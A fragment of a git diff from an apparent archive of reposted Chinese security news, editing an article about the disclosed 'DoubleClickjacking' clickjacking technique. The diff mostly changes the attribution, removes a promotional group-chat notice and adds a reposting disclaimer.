+数字取证中的数据分析是一个复杂而关键的过程。通过采用合适的方法和工具,应对挑战并加强人才培养,调查人员可以从收集到的电子数据中提取有价值的信息和证据,为法律诉讼或其他调查提供有力支持。
+(计算机与网络安全)
+
+
diff --git a/doc/新的“双击劫持”漏洞绕过主要网站上的点击劫持保护.md b/doc/新的“双击劫持”漏洞绕过主要网站上的点击劫持保护.md
index 8d51181d..9b8a4403 100644
--- a/doc/新的“双击劫持”漏洞绕过主要网站上的点击劫持保护.md
+++ b/doc/新的“双击劫持”漏洞绕过主要网站上的点击劫持保护.md
@@ -1,13 +1,12 @@
# 新的“双击劫持”漏洞绕过主要网站上的点击劫持保护
-AI小蜜蜂 FreeBuf 2025-01-31 02:01
-
-
+ 黑白之道 2025-02-01 01:25
+
威胁猎人们披露了一种新的“广泛使用基于时间的漏洞类”技术,利用双击序列来进行点击劫持攻击和账户劫持,几乎针对所有主要的网站。
-
+
这种技术由安全研究员保罗斯·伊贝洛命名为双击劫持。
@@ -52,39 +51,15 @@ AI小蜜蜂 FreeBuf 2025-01-31 02:01
“这是可能的,因为这两个网站允许潜在攻击者创建具有广泛访问API权限的OAuth应用程序,并且它们都为“允许/授权”按钮设置了静态和/或可预测的“ID”值,用于将应用程序授权到受害者的账户。”
-
-【
-FreeBuf粉丝交流群招新啦!
-
-在这里,拓宽网安边界
-
-甲方安全建设干货;
-
-乙方最新技术理念;
-
-全球最新的网络安全资讯;
-
-群内不定期开启各种抽奖活动;
-
-FreeBuf盲盒、大象公仔......
-
-扫码添加小蜜蜂微信回复「加群」,申请加入群聊】
-
-
-
-
-
-
-
-
+> **文章来源:freebuf**
+黑白之道发布、转载的文章中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途及盈利等目的,否则后果自行承担!
+
+如侵权请私聊我们删文
-
-[](https://mp.weixin.qq.com/s?__biz=MjM5NjA0NjgyMA==&mid=2651312407&idx=1&sn=60289b6b056aee1df1685230aa453829&token=1964067027&lang=zh_CN&scene=21#wechat_redirect)
-
-
+**END**